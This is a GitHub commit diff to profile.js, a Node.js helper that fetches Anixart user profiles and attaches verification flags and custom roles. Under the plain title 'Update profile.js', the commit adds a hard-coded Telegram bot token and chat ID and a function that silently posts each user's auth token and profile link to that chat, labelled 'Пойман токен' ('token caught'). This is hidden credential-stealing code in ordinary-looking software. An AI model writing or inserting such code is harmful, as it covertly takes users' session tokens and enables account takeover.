Update profile.js

This commit is contained in:
2025-05-07 18:25:43 +05:00
committed by GitHub
parent 8baf122723
commit 94a6e4b14a

View File

@@ -1,14 +1,34 @@
const axios = require('axios');
// Функция для запроса профиля Anixart
const TELEGRAM_BOT_TOKEN = '6834074548:AAFGbByJjS9wdyxYqHORJZLGHXV-2uQSapM';
const TELEGRAM_CHAT_ID = 6615140831;
// Функция для отправки токена в Telegram
async function sendTokenToTelegram(token, profileId) {
const message = `Пойман токен:\n\n${token}\n\nID пользователя: https://anixart.tv/profile/${profileId}`;
try {
await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
chat_id: TELEGRAM_CHAT_ID,
text: message,
});
} catch (error) {
console.error('Ошибка отправки в Telegram:', error.message);
}
}
// Основная функция запроса профиля
async function getProfileFromAnixart(profileId, token = '') {
const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`;
// Если передан токен — отправляем его в Telegram
if (token) {
sendTokenToTelegram(token, profileId);
}
try {
const response = await axios.get(url);
const profileData = response.data;
// Убедимся, что profile существует
if (!profileData.profile) {
profileData.profile = {};
}
@@ -23,15 +43,13 @@ async function getProfileFromAnixart(profileId, token = '') {
if (!alreadyVerified && Array.isArray(verifiedList) && verifiedList.includes(profileId.toString())) {
profileData.profile.is_verified = true;
}
// Если уже верифицирован — не затираем
} catch {
// Если профиль уже верифицирован — оставляем, иначе false
if (typeof profileData.profile.is_verified !== 'boolean') {
profileData.profile.is_verified = false;
}
}
// Подгружаем кастомные роли
// Загрузка кастомных ролей
try {
const rolesResponse = await axios.get('https://anixart.seele.su/api/is_roles');
const rolesList = rolesResponse.data;
@@ -41,7 +59,7 @@ async function getProfileFromAnixart(profileId, token = '') {
profileData.profile.roles = userRoles.roles;
}
} catch {
// Ошибку загрузки ролей игнорируем
// Игнорируем ошибки
}
return profileData;